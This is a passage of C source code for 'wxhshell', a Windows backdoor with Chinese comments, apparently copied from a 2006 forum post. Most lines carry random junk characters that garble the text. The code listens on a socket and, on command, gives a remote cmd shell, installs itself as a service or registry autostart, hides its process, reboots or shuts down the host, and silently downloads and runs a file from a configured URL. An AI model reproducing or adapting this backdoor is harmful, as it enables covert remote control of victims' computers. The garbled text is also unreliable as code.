  if(DownloadFile(cmd,wsh)) |+98h&U~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1!vPc93 $$  
  else n=q=zn;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X/l;s  
  } ;+sl7qlA4  
  else { xOythvO  
t-WjL@$F/  
    switch(cmd[0]) { -OrR $w|e  
  o]<jZ_|gB  
  // 帮助 vYdR ht\(  
  case '?': { PY?8 [A+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3)3Hck  
    break; 6JhMkB^h  
  } @D)Z{=>{=5  
  // 安装 L7]]ZAH!1  
  case 'i': { pE2QnNr'  
    if(Install()) Ea-bC:>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4jQ'+ 2it  
    else b^x07lO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /t*YDWLg  
    break; `z9J`r= I  
    } #;]2=@  
  // 卸载 :$?Q D  
  case 'r': { iRNLKi  
    if(Uninstall()) `?"6l5d.]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fxd0e;NAAh  
    else B8H75sz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k^%2_H  
    break; >.e+S?o  
    } \7Qb229?  
  // 显示 wxhshell 所在路径 'f+NW &   
  case 'p': { dy2rkV.z  
    char svExeFile[MAX_PATH]; NgVR,G|1  
    strcpy(svExeFile,"\n\r"); R(G\wqHUT3  
      strcat(svExeFile,ExeFile); _1aGtX|W  
        send(wsh,svExeFile,strlen(svExeFile),0); ?sXG17~Bm  
    break; }$&xTW_  
    } 9cG<hX9`F  
  // 重启 ^]>aHz9  
  case 'b': { %D`o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !77NG4B  
    if(Boot(REBOOT)) )MSZ2)(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y(5:}x&E  
    else { dY!u)M;~~  
    closesocket(wsh); xr[Vp  
    ExitThread(0); s9O2k}]  
    } >zs5s  
    break; jAC78n,Fi@  
    } _okWQvdH  
  // 关机 (?>cn_m  
  case 'd': { KxIyc7.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M&KyA  
    if(Boot(SHUTDOWN)) +Rwx% =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wfR&li{  
    else { [|RjHGf  
    closesocket(wsh); )K;]y-Us[  
    ExitThread(0); };b1ahaG  
    } irKIy  
    break; k_ Y~;P@  
    } FJ54S  
  // 获取shell Mzkkc QLK  
  case 's': { bcH_V| 5}  
    CmdShell(wsh); BMFF=  
    closesocket(wsh); dU_;2#3m  
    ExitThread(0); G-u]L7t&1  
    break; QM'X@  
  } `)K y0&?  
  // 退出 \+m$  
  case 'x': { *jITOR!uF`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pK}=*y~$  
    CloseIt(wsh); ?mv:neh  
    break; o&SSv W  
    } pf&ag#nr  
  // 离开 r2\c'9uH  
  case 'q': { -Q"hZ9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j}f[W [2  
    closesocket(wsh); D-&a n@  
    WSACleanup(); ]s_8A`vm  
    exit(1); H'DVwnn>ik  
    break; ZVih=Y-w  
        } !<<AzLVL  
  } Q.Aa{d9e  
  } W0I4Vvh_"  
8)j@aiF`  
  // 提示信息 eE(b4RCM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F #`=oM $5  
} fjG&`m#"  
  } wTc)S6%7  
j:,9%tg  
  return; 91Z'  
} rD &D)w  
d`y!cu2}  
// shell模块句柄 5,)vJ,fs  
int CmdShell(SOCKET sock) (xpn`NA  
{ *O~e T  
STARTUPINFO si; lDU_YEQ>  
ZeroMemory(&si,sizeof(si)); Um` !%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `yiC=$*[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |~0UM$OB^3  
PROCESS_INFORMATION ProcessInfo; i|WQ0fD  
char cmdline[]="cmd"; BuOgOYh9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Fhf<T`  
  return 0; EGVM)ur  
} mtAE  
P8Qyhc  
// 自身启动模式 Ib=x~za@n  
int StartFromService(void) q v*7K@  
{ E_T 2z4lw  
typedef struct ==N{1gO]  
{ HD>q(cK_|8  
  DWORD ExitStatus; bulS&dAX  
  DWORD PebBaseAddress; xc @Ss[  
  DWORD AffinityMask; =qy@Wvj$  
  DWORD BasePriority; O`[aU%4b  
  ULONG UniqueProcessId; 5GzFoy)j>  
  ULONG InheritedFromUniqueProcessId; 3FE(}G  
}   PROCESS_BASIC_INFORMATION; soRv1)el  
zp}eLm:=d  
PROCNTQSIP NtQueryInformationProcess; }H> ^o9  
\M<3}t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 80OtO#1y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I:98 $r$  
64>krmVIe  
  HANDLE             hProcess; (V:E2WR  
  PROCESS_BASIC_INFORMATION pbi; V!_71x\-Q  
KqY["5p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uVE.,)xz  
  if(NULL == hInst ) return 0; GL Mm(  
.B2]xfo"`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3?I;ovsM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z @ dC+0[=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); , t5 '  
$;N*cH~  
  if (!NtQueryInformationProcess) return 0; 4<dcB@v  
j$7|XM6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v=@TWEE  
  if(!hProcess) return 0; 46@{5)Tq  
: 18KR*;p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !9Z r;K~\  
DyJ.BQdk)  
  CloseHandle(hProcess); r0;:t   
-a,-J]d0+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <EO$]>;0  
if(hProcess==NULL) return 0; u$#Wv2|mk  
q[q?hQ/b  
HMODULE hMod; B%CTOi  
char procName[255]; }je,")#W  
unsigned long cbNeeded; S-Y=-"  
f5AjJYq1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  ^zzP.   
%ts^Z*3u  
  CloseHandle(hProcess); W]M)Q}:Y  
Mips.Bx  
if(strstr(procName,"services")) return 1; // 以服务启动 D"(L5jR8m@  
-VxTx^)>  
  return 0; // 注册表启动 4fk8*{Y  
} y;w x?1)  
ULrr=5&8  
// 主模块 !* Ti}oIo&  
int StartWxhshell(LPSTR lpCmdLine) Q 1d'~e  
{ '.Ed`?<p  
  SOCKET wsl; NX`*%K  
BOOL val=TRUE; o1W:ox?kO  
  int port=0; J%09^5:-z  
  struct sockaddr_in door; X+L) -d  
@AHm!9?o  
  if(wscfg.ws_autoins) Install(); U$]|~41#  
9{k97D/  
port=atoi(lpCmdLine); ^k5ll=}  
f`9 b*wV  
if(port<=0) port=wscfg.ws_port; 0sN.H=   
N{ Z  H  
  WSADATA data; An;MVA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MYJg8 '[j  
_v Sn`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   drzL.@h|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B~o\+n  
  door.sin_family = AF_INET; D]w!2k%V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f` =CpO*  
  door.sin_port = htons(port); _XJ2fA )  
jK \T|vGJa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { + a- 6Q ~  
closesocket(wsl); VE+IKj!VG0  
return 1; &j(+/;A  
} Ee4&g<X.  
?]D"k4  
  if(listen(wsl,2) == INVALID_SOCKET) { W;bu2ym&Q  
closesocket(wsl); _^Mx>hb4.  
return 1;  .ObZ\.I  
} u6>?AW1~  
  Wxhshell(wsl); G!K]W:m  
  WSACleanup(); l @^3Exwt  
)* 4fzo  
return 0; dJT]/g  
|D, +P  
} @d Jr/6Yx  
nJ~drG}TD  
// 以NT服务方式启动 Ee`1F#c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wu4Lxv]B4  
{ ?5_7;Ha  
DWORD   status = 0; =FE|+!>PA  
  DWORD   specificError = 0xfffffff; mM`wITy  
*OuStr \o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )Ke*JJaq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,9WBTH8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sR/b$j>i3  
  serviceStatus.dwWin32ExitCode     = 0; O'Js}  
  serviceStatus.dwServiceSpecificExitCode = 0; W6On9 3sa  
  serviceStatus.dwCheckPoint       = 0; 9Xx's%U  
  serviceStatus.dwWaitHint       = 0; m(pE5B(  
()~pY!)1/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7 S?4XyU/o  
  if (hServiceStatusHandle==0) return; \[Z?&  
`rf_7  
status = GetLastError(); +$oF]OO  
  if (status!=NO_ERROR) @V03a )6,h  
{ Eb=}FuV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^Z:~91Tv-_  
    serviceStatus.dwCheckPoint       = 0; jDQZQ NS  
    serviceStatus.dwWaitHint       = 0; e{m2l2Tx:  
    serviceStatus.dwWin32ExitCode     = status;  -_`>j~  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,o)d3g-&g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %-d]X{J:  
    return; um9_ru~  
  } T49zcJf;  
g!-,]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kF/9-[]$g,  
  serviceStatus.dwCheckPoint       = 0; ,"B+r6}EF  
  serviceStatus.dwWaitHint       = 0; Iu$K i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lP<:tR~K  
} -jMJAYjV  
G "73=8d  
// 处理NT服务事件,比如:启动、停止 ~%YBI9$+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) foQ#a  
{ 6`f2-f9%iq  
switch(fdwControl) ">#wOm+ +  
{ ,yd?gP-O  
case SERVICE_CONTROL_STOP: E9~Ghx.   
  serviceStatus.dwWin32ExitCode = 0; 33!oS&L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o7|eMe?<t  
  serviceStatus.dwCheckPoint   = 0; 8MSC.0   
  serviceStatus.dwWaitHint     = 0;  trAkcYd  
  { <:?r:fQX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OF\rgz  
  } H,b5C_D29  
  return; @|\}.M<e*)  
case SERVICE_CONTROL_PAUSE: =jN *P?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U"Zmv  
  break; O} f80K  
case SERVICE_CONTROL_CONTINUE: ^MVkZ{gtre  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9/nn)soC3  
  break; L'F<ev  
case SERVICE_CONTROL_INTERROGATE: {?yr'*  
  break; Hla0 5N' 4  
}; V,$0p1?J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Ux<aiY]a  
} i9/aAH0  
b#X^=n2  
// 标准应用程序主函数 >Q(3*d >  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3+XOZh8  
{ )b:7-}d  
Z l*X?5u  
// 获取操作系统版本 }mAa}{_  
OsIsNt=GetOsVer(); rb|U;)C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [ i]Ub0Dh7  
%"P,1&\^  
  // 从命令行安装 kkQVNphc  
  if(strpbrk(lpCmdLine,"iI")) Install(); [D!jv "  
~c&bH]cj  
  // 下载执行文件 bFW=ylF9  
if(wscfg.ws_downexe) { m@^1JlH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DCZ\6WY1G)  
  WinExec(wscfg.ws_filenam,SW_HIDE); +(h\fm7*-  
} Sv +IS  
OVV]x{  
if(!OsIsNt) { NgY =&W,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ll C#1  
HideProc(); 7k rUKYVo  
StartWxhshell(lpCmdLine); _ ]Z s,Hy  
} <N%7|t*eT  
else #W|'1 OX4  
  if(StartFromService()) R=|{n'n$0|  
  // 以服务方式启动 ;1a~pF S  
  StartServiceCtrlDispatcher(DispatchTable); l?Ya"C`FL  
else BW "5Aj  
  // 普通方式启动 C_7+a@?B  
  StartWxhshell(lpCmdLine); 6b:tyQ  
:3I@(k\PY  
return 0; #Y4=J 6  
}
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只看该作者 1 发表于: 2006-10-10
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